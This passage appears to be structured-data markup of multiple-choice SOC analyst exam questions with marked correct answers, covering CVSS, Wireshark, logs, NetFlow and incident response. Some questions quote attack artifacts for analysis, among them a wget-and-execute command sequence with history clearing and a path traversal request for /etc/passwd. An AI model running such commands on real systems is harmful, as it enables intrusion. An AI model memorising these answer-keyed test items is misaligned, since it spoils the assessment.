was saved to the database and is now rendered for every visitor who views that thread. Which type of attack does this activity BEST represent?","acceptedAnswer":{"@type":"Answer","text":"Stored (persistent) cross-site scripting (XSS)"},"suggestedAnswer":[{"@type":"Answer","text":"SQL injection targeting the forum database"},{"@type":"Answer","text":"Command injection on the web server"},{"@type":"Answer","text":"Cross-site request forgery (CSRF)"}]},{"@context":"https://schema.org","@type":"Question","text":"A vulnerability analyst is scoring a newly disclosed flaw using CVSS v3.1. The vendor advisory notes that successful exploitation requires the attacker to first win a race condition and rely on a specific memory layout that varies between systems, meaning the attacker cannot control conditions and must repeatedly attempt the attack. Which base metric value best reflects this characteristic?","acceptedAnswer":{"@type":"Answer","text":"Attack Complexity: High"},"suggestedAnswer":[{"@type":"Answer","text":"Attack Vector: Network"},{"@type":"Answer","text":"Privileges Required: High"},{"@type":"Answer","text":"User Interaction: Required"}]},{"@context":"https://schema.org","@type":"Question","text":"A vulnerability analyst is reviewing a newly disclosed flaw in a public-facing web application. The flaw can be triggered by any remote attacker sending a crafted HTTP request over the internet, without any authentication and without any user interaction. When completing the CVSS v3.1 base metrics for this finding, which value should the analyst assign to the Attack Vector (AV) metric?","acceptedAnswer":{"@type":"Answer","text":"Network (N)"},"suggestedAnswer":[{"@type":"Answer","text":"Adjacent (A)"},{"@type":"Answer","text":"Local (L)"},{"@type":"Answer","text":"Physical (P)"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is scoring a newly disclosed web application vulnerability using CVSS v3.1. The vulnerability allows an unauthenticated attacker to modify arbitrary records in the backend database, but it does not expose any data to the attacker and does not disrupt the availability of the service. Which base metric should the analyst rate as High for this vulnerability?","acceptedAnswer":{"@type":"Answer","text":"Integrity Impact"},"suggestedAnswer":[{"@type":"Answer","text":"Confidentiality Impact"},{"@type":"Answer","text":"Availability Impact"},{"@type":"Answer","text":"User Interaction"}]},{"@context":"https://schema.org","@type":"Question","text":"A vulnerability analyst is scoring a newly disclosed flaw in an internal web application. Exploitation requires the attacker to first authenticate to the application using a standard, non-administrative user account before triggering the vulnerable function. Which CVSS base metric value most accurately reflects this condition?","acceptedAnswer":{"@type":"Answer","text":"Privileges Required: Low"},"suggestedAnswer":[{"@type":"Answer","text":"Privileges Required: None"},{"@type":"Answer","text":"User Interaction: Required"},{"@type":"Answer","text":"Attack Complexity: High"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is reviewing a CVSS v3.1 vector for a vulnerability in a hypervisor. Exploiting a guest virtual machine allows an attacker to affect resources belonging to the host operating system and other VMs beyond the initially compromised guest. Which CVSS base metric specifically captures this situation where the exploited component and the impacted component are different security authorities?","acceptedAnswer":{"@type":"Answer","text":"Scope (S)"},"suggestedAnswer":[{"@type":"Answer","text":"Attack Complexity (AC)"},{"@type":"Answer","text":"Privileges Required (PR)"},{"@type":"Answer","text":"User Interaction (UI)"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is scoring a newly disclosed vulnerability in a document viewer. Exploitation only succeeds if a victim opens a malicious file that is emailed to them; the code will not run on its own. Which CVSS base metric value most accurately captures this condition?","acceptedAnswer":{"@type":"Answer","text":"User Interaction: Required"},"suggestedAnswer":[{"@type":"Answer","text":"Attack Vector: Network"},{"@type":"Answer","text":"Privileges Required: High"},{"@type":"Answer","text":"Attack Complexity: High"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviewing outbound traffic profiles notices a workstation generating an unusually high volume of DNS TXT record queries to a single external domain over several hours. Total DNS traffic from this host is many times the baseline, though no large file transfers appear over HTTP or FTP. Which potential data loss concern does this traffic profile most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"Data exfiltration via DNS tunneling, where stolen data is encoded into DNS queries"},"suggestedAnswer":[{"@type":"Answer","text":"A denial-of-service attack targeting the organization's internal DNS server"},{"@type":"Answer","text":"Normal DNS caching behavior that reduces repeated external lookups"},{"@type":"Answer","text":"An ARP spoofing attack redirecting traffic on the local subnet"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviewing NetFlow records notices that a workstation in the finance department, which normally generates only small bursts of outbound traffic, has been sending 4 GB of data over the course of one night to an unfamiliar external IP address on TCP port 443. The internal file server it accessed contains sensitive customer records. Based on this traffic profile, what does this activity most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"Potential data exfiltration, where sensitive data is being smuggled out over an encrypted channel"},"suggestedAnswer":[{"@type":"Answer","text":"A normal software update being downloaded from a vendor content delivery network"},{"@type":"Answer","text":"A denial-of-service attack targeting the workstation from the external IP"},{"@type":"Answer","text":"Routine backup traffic between the workstation and an internal storage array"}]},{"@context":"https://schema.org","@type":"Question","text":"A security architect is documenting the layers of a defense-in-depth strategy for a new office. She wants to categorize each control by type. The company enforces a written acceptable use policy that all employees must sign, requires badge readers at every door, and runs endpoint antivirus on all workstations. When classifying the signed acceptable use policy, which category of security control does it represent?","acceptedAnswer":{"@type":"Answer","text":"Administrative control"},"suggestedAnswer":[{"@type":"Answer","text":"Physical control"},{"@type":"Answer","text":"Technical control"},{"@type":"Answer","text":"Corrective control"}]},{"@context":"https://schema.org","@type":"Question","text":"A security architect is reviewing a new deployment. An attacker who phished a user's credentials was still unable to move laterally because network segmentation blocked traffic to critical servers, and endpoint detection quarantined the malware that was dropped. The architect wants to describe the security principle that allowed multiple independent controls to compensate when the first control (user awareness) failed. Which principle best describes this design?","acceptedAnswer":{"@type":"Answer","text":"Defense-in-depth, using layered, overlapping controls so no single point of failure compromises the system"},"suggestedAnswer":[{"@type":"Answer","text":"Least privilege, ensuring users receive only the minimum access required for their role"},{"@type":"Answer","text":"Separation of duties, dividing critical tasks among multiple individuals to prevent fraud"},{"@type":"Answer","text":"Risk transference, shifting the impact of a threat to a third party such as an insurer"}]},{"@context":"https://schema.org","@type":"Question","text":"A software development team uses a shared Linux file server where each developer can set read, write, and execute permissions on the files they create and can grant those permissions to any other user at their own discretion. A security analyst reviewing this arrangement needs to classify the access control model in use. Which model best describes this behavior?","acceptedAnswer":{"@type":"Answer","text":"Discretionary Access Control (DAC)"},"suggestedAnswer":[{"@type":"Answer","text":"Mandatory Access Control (MAC)"},{"@type":"Answer","text":"Role-Based Access Control (RBAC)"},{"@type":"Answer","text":"Attribute-Based Access Control (ABAC)"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviews an alert during a service outage. The company's public web server is unreachable, and NetFlow data shows an overwhelming volume of inbound HTTP requests arriving simultaneously from more than 40,000 unique source IP addresses spread across dozens of countries. Server CPU and bandwidth are fully saturated. Which type of attack best matches these observations?","acceptedAnswer":{"@type":"Answer","text":"A distributed denial-of-service (DDoS) attack"},"suggestedAnswer":[{"@type":"Answer","text":"A single-source SYN flood denial-of-service attack"},{"@type":"Answer","text":"A man-in-the-middle attack"},{"@type":"Answer","text":"A SQL injection attack against the web application"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a suspicious PCAP in Wireshark, an analyst opens a single DNS packet and examines the query section. The Questions field shows one entry, the Name field contains 'a3f9c2e1b7d4.malwaredomain.example', and the Type field shows the value 16 (TXT). Given the objective of interpreting protocol header fields during intrusion analysis, what does this DNS record type most likely indicate about the traffic?","acceptedAnswer":{"@type":"Answer","text":"A TXT record query with a long random-looking subdomain, consistent with possible DNS tunneling or C2 data exchange"},"suggestedAnswer":[{"@type":"Answer","text":"The client is requesting the authoritative name servers for the domain, a routine delegation lookup"},{"@type":"Answer","text":"The client is resolving an IPv6 address for the host, indicating dual-stack network configuration"},{"@type":"Answer","text":"A reverse DNS lookup mapping the IP address back to a hostname for logging purposes"}]},{"@context":"https://schema.org","@type":"Question","text":"During intrusion analysis of a captured DNS transaction in Wireshark, an analyst inspects the DNS response header and notices the QR bit is set to 1, the ANCOUNT field shows a value of 8, and the RCODE field is 0. The queried hostname is a randomized 40-character subdomain of a suspicious external domain. Based on interpreting these header fields, what does the analyst most reasonably conclude?","acceptedAnswer":{"@type":"Answer","text":"The response is a successful reply containing 8 answer records, consistent with possible DNS tunneling given the long random subdomain"},"suggestedAnswer":[{"@type":"Answer","text":"The server returned an error, so the query failed and no records were provided"},{"@type":"Answer","text":"The QR bit set to 1 indicates this is a query being sent, not a response"},{"@type":"Answer","text":"ANCOUNT of 8 means 8 separate DNS queries were bundled in one packet"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst has a PCAP of an HTTP session where a host downloaded a suspicious executable. Using Wireshark, the analyst needs to reconstruct and save the exact binary that was transferred so it can be submitted to a malware sandbox. Which Wireshark action correctly extracts the transferred file from the TCP stream?","acceptedAnswer":{"@type":"Answer","text":"Use File > Export Objects > HTTP, select the executable entry, and save it to disk"},"suggestedAnswer":[{"@type":"Answer","text":"Apply the display filter http.request.method == \"GET\" and copy the packet bytes of the request packet"},{"@type":"Answer","text":"Right-click the SYN packet and choose Follow > TCP Stream, then save the entire ASCII conversation"},{"@type":"Answer","text":"Use Statistics > Conversations and export the TCP conversation summary as a CSV"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviews an alert from an intrusion detection system that flagged inbound traffic to a web server as an active SQL injection attack. After investigation, the analyst confirms the traffic was a legitimate scheduled scan by the organization's authorized vulnerability assessment tool, and no actual malicious activity occurred. How should this alert be classified?","acceptedAnswer":{"@type":"Answer","text":"False positive"},"suggestedAnswer":[{"@type":"Answer","text":"True positive"},{"@type":"Answer","text":"True negative"},{"@type":"Answer","text":"False negative"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a PCAP file in Wireshark, an analyst follows a TCP stream on port 21 and observes the following exchange: '220 ProFTPD Server ready', 'USER backup_svc', '331 Password required', 'PASS Wint3r2024!', '230 User logged in'. Based on this capture, what is the most significant intrusion-analysis concern the analyst should document?', ","acceptedAnswer":{"@type":"Answer","text":"The service account credentials were transmitted in clear text and are exposed to anyone capturing the traffic"},"suggestedAnswer":[{"@type":"Answer","text":"The FTP server banner reveals a ProFTPD version that must be immediately patched"},{"@type":"Answer","text":"The 230 response code indicates the login attempt was rejected and access was denied"},{"@type":"Answer","text":"The traffic on port 21 confirms an active data exfiltration transfer is in progress"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is investigating a suspected data exfiltration event. Session data and NetFlow records confirm a large transfer occurred between an internal host and an external IP over TCP port 443, but the analyst needs to examine the exact bytes sent, reconstruct the application-layer payload, and extract any transferred files to confirm what data left the network. Which data type should the analyst rely on to accomplish this?","acceptedAnswer":{"@type":"Answer","text":"Full packet capture (PCAP)"},"suggestedAnswer":[{"@type":"Answer","text":"NetFlow connection records"},{"@type":"Answer","text":"Transaction (session) data"},{"@type":"Answer","text":"Statistical/alert data from the IDS"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a PCAP in Wireshark, an analyst follows an HTTP stream and sees the following request line: GET /download.php?file=../../../../etc/passwd HTTP/1.1 followed by a 200 OK response containing lines beginning with root:x:0:0. Interpreting the URI field in the request header, which intrusion is most likely occurring?","acceptedAnswer":{"@type":"Answer","text":"Directory (path) traversal attack retrieving a sensitive system file"},"suggestedAnswer":[{"@type":"Answer","text":"SQL injection using a UNION statement to dump database tables"},{"@type":"Answer","text":"Cross-site scripting injecting a script into the file parameter"},{"@type":"Answer","text":"HTTP request smuggling using duplicate content-length headers"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a suspicious HTTP request captured in Wireshark, an analyst sees the following request headers:\n\nGET /admin/config.php HTTP/1.1\nHost: 192.168.10.55\nUser-Agent: sqlmap/1.6.12#stable (https://sqlmap.org)\nAccept: */*\nConnection: close\n\nWhich artifact element in these headers most directly identifies the nature of the activity as an automated attack?","acceptedAnswer":{"@type":"Answer","text":"The User-Agent value identifying the sqlmap tool"},"suggestedAnswer":[{"@type":"Answer","text":"The Host header pointing to an internal RFC 1918 address"},{"@type":"Answer","text":"The Connection: close header terminating the session"},{"@type":"Answer","text":"The Accept: */* header allowing any content type"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a PCAP in Wireshark, an analyst follows an HTTP stream and sees the following server reply to a client GET request:\n\nHTTP/1.1 200 OK\nDate: Tue, 14 May 2024 09:22:41 GMT\nServer: Apache/2.2.15 (CentOS)\nX-Powered-By: PHP/5.3.3\nContent-Type: text/html; charset=UTF-8\nContent-Length: 4821\n\nWhich intrusion-analysis conclusion is BEST supported by interpreting these HTTP response header fields?","acceptedAnswer":{"@type":"Answer","text":"The response headers disclose specific server software and versions, giving an attacker reconnaissance data to match against known vulnerabilities."},"suggestedAnswer":[{"@type":"Answer","text":"The 200 OK status code confirms the server successfully blocked an exploitation attempt."},{"@type":"Answer","text":"The Content-Length field indicates the payload was encrypted before transmission."},{"@type":"Answer","text":"The Date header proves the client and server clocks are synchronized, ruling out a replay attack."}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst notices that a workstation is sending a steady stream of traffic to an external host on TCP port 443. On inspection, the payloads do not follow the TLS handshake structure — instead, an interactive remote shell session appears to be encapsulated inside the connection. The corporate firewall permits outbound 443 to any destination. Which evasion technique is the attacker most likely using?","acceptedAnswer":{"@type":"Answer","text":"Protocol tunneling to hide non-HTTPS traffic inside an allowed port"},"suggestedAnswer":[{"@type":"Answer","text":"A SYN flood denial-of-service attack against the external host"},{"@type":"Answer","text":"SQL injection against a backend database server"},{"@type":"Answer","text":"ARP spoofing to intercept traffic on the local segment"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a suspicious PCAP in Wireshark, an analyst isolates a series of ICMP packets flowing from an internal host to an external IP. Each packet shows a Type value of 8 and a Code value of 0, and the data portion of each packet is unusually large and contains non-standard, high-entropy bytes rather than the typical repeating alphabet pattern. What does the interpretation of these ICMP header fields most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"ICMP Echo Request packets being abused to tunnel data out of the network"},"suggestedAnswer":[{"@type":"Answer","text":"Standard ICMP Echo Reply packets returning from a normal ping test"},{"@type":"Answer","text":"ICMP Destination Unreachable messages indicating a routing failure"},{"@type":"Answer","text":"ICMP Time Exceeded messages generated by a traceroute utility"}]},{"@context":"https://schema.org","@type":"Question","text":"While analyzing a suspicious packet in Wireshark, an analyst notices an inbound packet from an external host with an IP header Time-to-Live (TTL) value of 45. The analyst knows the packet has traversed roughly 19 routers before reaching the sensor. In the context of intrusion analysis, what is the MOST useful inference the analyst can draw from interpreting this TTL field?","acceptedAnswer":{"@type":"Answer","text":"The originating host likely used a default initial TTL of 64, suggesting a Linux/Unix-based operating system"},"suggestedAnswer":[{"@type":"Answer","text":"The TTL of 45 confirms the packet payload has been encrypted in transit"},{"@type":"Answer","text":"The TTL value proves the packet is a spoofed SYN flood originating from a Windows host"},{"@type":"Answer","text":"The low TTL indicates the packet was fragmented and must be reassembled before inspection"}]},{"@context":"https://schema.org","@type":"Question","text":"While analyzing a suspicious PCAP, an analyst notices multiple IPv4 packets from a single source that each carry the More Fragments (MF) flag set and non-zero Fragment Offset values, but the reassembled payloads produce overlapping byte ranges. Based on interpreting these IPv4 header fields, what is the most likely purpose of this traffic?","acceptedAnswer":{"@type":"Answer","text":"The sender is using overlapping IP fragments in an attempt to evade IDS reassembly and signature detection"},"suggestedAnswer":[{"@type":"Answer","text":"The packets indicate normal Path MTU Discovery behavior on a congested link"},{"@type":"Answer","text":"The traffic is a standard TCP three-way handshake split across multiple segments"},{"@type":"Answer","text":"The Fragment Offset values confirm the packets are ARP broadcasts being relayed across VLANs"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation of a Linux web server, an analyst reviews the following excerpt from a user's ~/.bash_history file:\n\n wget http://198.51.100.7/x.sh\n chmod +x x.sh\n ./x.sh\n history -c\n\nWhich conclusion is BEST supported by interpreting this command-line log?","acceptedAnswer":{"@type":"Answer","text":"The user downloaded and executed an external script, then attempted to clear shell history to hide the activity"},"suggestedAnswer":[{"@type":"Answer","text":"The commands represent a scheduled cron job configured to run automatically at boot"},{"@type":"Answer","text":"The server's kernel modules were recompiled to install a legitimate software update"},{"@type":"Answer","text":"The entries prove the attacker gained root privileges through a buffer overflow"}]},{"@context":"https://schema.org","@type":"Question","text":"While investigating a compromised Ubuntu web server, an analyst reviews /var/log/syslog and finds the following recurring entry every 10 minutes: 'CRON[4821]: (www-data) CMD (/tmp/.update.sh)'. The www-data account normally only serves web content and has no legitimate scheduled tasks. What does this log evidence most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"A scheduled cron job is providing the attacker persistence by repeatedly executing a hidden script as the www-data user"},"suggestedAnswer":[{"@type":"Answer","text":"The Apache service is automatically updating itself through its built-in maintenance routine"},{"@type":"Answer","text":"A brute-force login attempt against the www-data account is in progress"},{"@type":"Answer","text":"The kernel is logging a normal system time synchronization event"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation of a compromised Ubuntu web server, an analyst runs 'stat /var/www/html/config.php' and reviews the output, which shows fields labeled 'Inode', 'Links', 'Access', 'Modify', and 'Change'. Which operating system component stores the metadata (such as permissions, ownership, and the Modify/Change timestamps) for this file on the Linux ext4 filesystem?","acceptedAnswer":{"@type":"Answer","text":"The inode"},"suggestedAnswer":[{"@type":"Answer","text":"The Master File Table (MFT)"},{"@type":"Answer","text":"The /etc/passwd file"},{"@type":"Answer","text":"The systemd journal"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation on a Linux workstation, an analyst reviews /var/log/messages and finds the following entries around 14:07: 'kernel: usb 2-1: new high-speed USB device number 4', 'kernel: sd 6:0:0:0: [sdb] Attached SCSI removable disk', and 'systemd: Mounted /media/user/BACKUP'. Which conclusion is best supported by these log entries?","acceptedAnswer":{"@type":"Answer","text":"A removable USB storage device was connected and mounted by the system"},"suggestedAnswer":[{"@type":"Answer","text":"A network file share was remotely mapped over SMB"},{"@type":"Answer","text":"A new internal SATA hard drive was permanently installed"},{"@type":"Answer","text":"A malicious kernel module was loaded to hide a rootkit"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a compromised Linux web server, an analyst opens /var/log/auth.log and finds the following entry:\n\n'Aug 14 02:17:44 web01 sudo: www-data : TTY=pts/1 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/bash'\n\nWhich event does this log entry BEST indicate?","acceptedAnswer":{"@type":"Answer","text":"The www-data service account used sudo to spawn an interactive root shell, indicating likely privilege escalation"},"suggestedAnswer":[{"@type":"Answer","text":"A scheduled cron job ran a routine backup script as root without user interaction"},{"@type":"Answer","text":"The root user logged in directly over SSH and opened a Bash session"},{"@type":"Answer","text":"A failed authentication attempt was recorded for the www-data account"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, a SOC analyst needs to reconstruct which user account authenticated to a Linux server, at what time, and whether the login succeeded or failed. The analyst is deciding which data source will most directly provide this specific record. Which data type should the analyst consult first?","acceptedAnswer":{"@type":"Answer","text":"Transaction (application/system) log data from the server"},"suggestedAnswer":[{"@type":"Answer","text":"NetFlow records collected from the core switch"},{"@type":"Answer","text":"Full packet capture from a SPAN port near the server"},{"@type":"Answer","text":"IDS alert data generated by signature matches"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst reviewing endpoint telemetry notices that winword.exe spawned powershell.exe, which then executed a heavily encoded command that downloaded and ran additional code directly in memory. No malicious file was ever written to the disk, so the file-based antivirus scan came back clean. Which type of endpoint-based attack does this behavior BEST describe?","acceptedAnswer":{"@type":"Answer","text":"A fileless malware attack leveraging a living-off-the-land binary"},"suggestedAnswer":[{"@type":"Answer","text":"A distributed denial-of-service (DDoS) attack against the workstation"},{"@type":"Answer","text":"A stack-based buffer overflow exploiting a memory corruption flaw"},{"@type":"Answer","text":"A SQL injection attack targeting the document repository"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst investigating a suspected endpoint compromise pulls the following data types from their monitoring platform: NetFlow records, firewall logs, and full packet capture from the network segment. The malware is confirmed to run entirely in memory on the host, injects into a legitimate signed process, and communicates only over TLS 1.3 to a domain that later resolves to a known-good CDN. Which additional data source would most directly reveal the malicious activity that the network-based sources are missing?","acceptedAnswer":{"@type":"Answer","text":"Endpoint detection and response (EDR) process and API telemetry from the affected host"},"suggestedAnswer":[{"@type":"Answer","text":"Additional NetFlow collectors deployed at the network core"},{"@type":"Answer","text":"DNS resolver query logs for the segment"},{"@type":"Answer","text":"SNMP interface statistics from the upstream switch"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviews an endpoint alert: multiple user document files on a workstation had their extensions changed to '.locked', and a text file named 'RECOVER_FILES.txt' now sits in every affected folder demanding Bitcoin payment for a decryption key. Based on these observed behaviors, which type of endpoint-based attack is MOST likely occurring?","acceptedAnswer":{"@type":"Answer","text":"Ransomware"},"suggestedAnswer":[{"@type":"Answer","text":"Buffer overflow"},{"@type":"Answer","text":"Command and control (C2) beaconing"},{"@type":"Answer","text":"Cross-site scripting (XSS)"}]},{"@context":"https://schema.org","@type":"Question","text":"During a security review, an analyst reads the following log line: 'Threat detected: Win32/Emotet in C:\\Users\\jsmith\\Downloads\\invoice.exe — Action taken: Quarantined. Signature version 1.389.204.0.' The analyst must map this event to the correct source technology so it can be correlated with other data. Which source technology most likely produced this event?","acceptedAnswer":{"@type":"Answer","text":"Host-based antivirus / endpoint protection software"},"suggestedAnswer":[{"@type":"Answer","text":"NetFlow collector on a core router"},{"@type":"Answer","text":"Network tap feeding a full-packet-capture appliance"},{"@type":"Answer","text":"Stateful firewall connection table"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is reviewing web server logs during an incident. Every malicious request originates from a small set of source IP addresses that reverse-DNS resolves to a well-known anonymization network's exit nodes. Blocking these addresses has little effect, and new requests continue arriving from different addresses in the same category. Which evasion technique is the attacker most likely using to obscure their true origin?","acceptedAnswer":{"@type":"Answer","text":"The attacker is routing traffic through a Tor / onion-routing network to anonymize the true source IP"},"suggestedAnswer":[{"@type":"Answer","text":"The attacker is exploiting a buffer overflow to spoof the server's own IP address"},{"@type":"Answer","text":"The attacker is using DNS tunneling to exfiltrate data over UDP port 53"},{"@type":"Answer","text":"The attacker is performing ARP cache poisoning to sit between the client and server"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst needs to identify which internal hosts communicated with a known malicious IP address over the past 30 days. Full packet capture storage was purged after 72 hours due to disk constraints, but the organization retains records showing source/destination IPs, ports, protocols, byte counts, and timestamps for all flows during that period. Which data type is the analyst relying on to answer this question?","acceptedAnswer":{"@type":"Answer","text":"NetFlow (session/connection data)"},"suggestedAnswer":[{"@type":"Answer","text":"Full packet capture (PCAP)"},{"@type":"Answer","text":"Transaction data from application logs"},{"@type":"Answer","text":"Statistical data from a network baseline"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst receives a data feed showing records with source IP, destination IP, source and destination ports, protocol number, byte counts, packet counts, and start/end timestamps for each conversation — but no application-layer payload. The feed originates from the organization's edge router. When mapping this event data to its source technology, which technology most likely produced these records?","acceptedAnswer":{"@type":"Answer","text":"NetFlow flow export configured on the router"},"suggestedAnswer":[{"@type":"Answer","text":"A full packet capture appliance connected to a SPAN port"},{"@type":"Answer","text":"A host-based antivirus quarantine log"},{"@type":"Answer","text":"An IDS signature alert engine"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is reviewing a suspected data exfiltration incident. The security team asks whether the current monitoring architecture allows them to reconstruct the actual contents of the files that left the network. The organization currently collects only NetFlow records exported from its core routers and does not maintain any packet capture appliances. Which statement BEST describes the analytical limitation of relying solely on this NetFlow data for this investigation?","acceptedAnswer":{"@type":"Answer","text":"NetFlow provides transactional metadata such as source/destination IPs, ports, protocol, and byte/packet counts, but it does not capture payload, so the file contents cannot be reconstructed"},"suggestedAnswer":[{"@type":"Answer","text":"NetFlow captures full packet payloads by default, so the analyst can extract the transferred files directly from the flow records"},{"@type":"Answer","text":"NetFlow records include the application-layer session content, making a separate tap unnecessary for content reconstruction"},{"@type":"Answer","text":"NetFlow only records Layer 2 frame headers, so neither the five-tuple nor byte counts are available for analysis"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, an analyst needs to determine the exact HTTP URI and file content that a suspicious internal host requested from an external server. The SOC has access to both a NetFlow collector and a full-visibility SPAN/tap feed captured to PCAP. Which statement correctly compares what each data source can provide for this specific need?","acceptedAnswer":{"@type":"Answer","text":"NetFlow provides the flow's source/destination IPs, ports, protocol, byte and packet counts, and timestamps, but the tap/PCAP data is required to see the actual HTTP URI and reconstruct the transferred file content."},"suggestedAnswer":[{"@type":"Answer","text":"NetFlow records the full application-layer payload including the HTTP URI, so the tap/PCAP feed adds no additional value for this investigation."},{"@type":"Answer","text":"The tap/PCAP feed only records connection metadata, while NetFlow is the only source that captures and stores full packet payloads for content reconstruction."},{"@type":"Answer","text":"Both NetFlow and tap/PCAP capture identical data; the choice between them is purely a matter of storage cost, not content visibility."}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is building a network profile to detect anomalies for the corporate LAN. She has already documented total throughput and typical session durations. To complete the profile per common network profiling guidance, she wants to record the set of IP addresses that legitimately generate and receive traffic on the segment. Which network profiling element is she documenting?","acceptedAnswer":{"@type":"Answer","text":"Address space"},"suggestedAnswer":[{"@type":"Answer","text":"Listening ports"},{"@type":"Answer","text":"Critical processes"},{"@type":"Answer","text":"Service accounts"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is building a network profile for the corporate environment to help detect anomalous behavior. The analyst has already documented total throughput and address space in use. The team lead asks the analyst to add a metric that captures how long connections typically remain open between internal hosts and external services, so that unusually persistent connections (such as those from a covert channel) can be flagged. Which network profiling element should the analyst measure to satisfy this request?","acceptedAnswer":{"@type":"Answer","text":"Session duration"},"suggestedAnswer":[{"@type":"Answer","text":"Listening ports"},{"@type":"Answer","text":"Critical processes"},{"@type":"Answer","text":"User accounts"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is building a network profile for the corporate environment to help detect anomalous behavior. The analyst has already documented which TCP and UDP ports are typically open and which internal hosts communicate with which external destinations. According to NIST guidance on network profiling, which additional element should the analyst capture to establish a baseline of how much data normally flows across the network segment over time?","acceptedAnswer":{"@type":"Answer","text":"Total throughput"},"suggestedAnswer":[{"@type":"Answer","text":"Listening ports"},{"@type":"Answer","text":"Critical asset address space"},{"@type":"Answer","text":"Session duration"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is evaluating what visibility each monitoring technology adds to the SOC. The team already collects NetFlow and full packet capture, but they cannot easily see WHICH application (e.g., Facebook vs. Salesforce) is riding over TCP port 443. A manager asks which technology would provide Layer 7 application-awareness by identifying the actual application regardless of the port used. Which technology should the analyst recommend?","acceptedAnswer":{"@type":"Answer","text":"A next-generation firewall (NGFW) with application visibility and control (AVC)"},"suggestedAnswer":[{"@type":"Answer","text":"A traditional stateful firewall filtering on port and protocol"},{"@type":"Answer","text":"A NetFlow collector aggregating flow records"},{"@type":"Answer","text":"A syslog server centralizing device event messages"}]},{"@context":"https://schema.org","@type":"Question","text":"During a review of NIST SP 800-61 concepts, an analyst is categorizing signs of incidents. Their SIEM logs a vulnerability scanner sweeping the organization's external IP range from an unknown source. According to NIST SP 800-61, how should this observation be classified?","acceptedAnswer":{"@type":"Answer","text":"A precursor, because it is a sign that an incident may occur in the future"},"suggestedAnswer":[{"@type":"Answer","text":"An indicator, because it confirms an incident is currently in progress"},{"@type":"Answer","text":"A containment action, because scanning must be blocked immediately"},{"@type":"Answer","text":"A lesson learned, because it should be documented after the incident closes"}]},{"@context":"https://schema.org","@type":"Question","text":"A CyberOps analyst is helping draft the organization's incident response capability. The team lead emphasizes that before any tools are purchased or procedures written, senior leadership must formally approve funding, define the CSIRT's authority, and endorse the IR policy. In terms of NIST SP 800-61 management concepts, why is securing this executive commitment considered foundational to an effective incident response program?","acceptedAnswer":{"@type":"Answer","text":"Management support and buy-in establish the authority, resources, and policy mandate that enable the IR team to operate across the organization"},"suggestedAnswer":[{"@type":"Answer","text":"Management approval is required only to complete the lessons-learned report after an incident closes"},{"@type":"Answer","text":"Executive commitment primarily determines which CVSS base score threshold triggers containment"},{"@type":"Answer","text":"Leadership endorsement is only needed to authorize the forensic imaging of volatile memory during collection"}]},{"@context":"https://schema.org","@type":"Question","text":"After successfully recovering from a major breach, an incident response team lead is finalizing documentation. During the wrap-up meeting, a junior analyst asks how long the collected logs, disk images, and captured network traffic must be kept. According to NIST SP 800-61, which element of the incident response plan most directly governs this decision?","acceptedAnswer":{"@type":"Answer","text":"The evidence retention policy defined during the preparation phase"},"suggestedAnswer":[{"@type":"Answer","text":"The chain of custody form completed during collection"},{"@type":"Answer","text":"The order of volatility described in NIST SP 800-86"},{"@type":"Answer","text":"The severity classification assigned during the detection and analysis phase"}]},{"@context":"https://schema.org","@type":"Question","text":"During an incident response investigation, forensic analysis confirms that an internal employee intentionally exfiltrated customer records to a personal cloud account. The incident response coordinator needs to involve the appropriate stakeholder to handle disciplinary action against the employee in accordance with company policy. According to NIST SP 800-61, which stakeholder should the coordinator engage for this task?","acceptedAnswer":{"@type":"Answer","text":"Human Resources"},"suggestedAnswer":[{"@type":"Answer","text":"Public Affairs / Media Relations"},{"@type":"Answer","text":"IT Support / Help Desk"},{"@type":"Answer","text":"Physical Security"}]},{"@context":"https://schema.org","@type":"Question","text":"During a data breach investigation, an organization following NIST SP 800-61 must decide whether disclosure is required under contractual and regulatory obligations, and must review potential liability before the incident is publicly reported. Which stakeholder role should the incident response team primarily engage for this determination?","acceptedAnswer":{"@type":"Answer","text":"Legal counsel"},"suggestedAnswer":[{"@type":"Answer","text":"The SOC tier-1 analyst who triaged the alert"},{"@type":"Answer","text":"The network engineering team"},{"@type":"Answer","text":"The public relations media contact"}]},{"@context":"https://schema.org","@type":"Question","text":"During a confirmed ransomware incident at a hospital, the incident response coordinator is assembling the response team per NIST SP 800-61. A local news outlet has begun contacting the organization, and executives want to ensure that any external messaging about the breach is accurate, 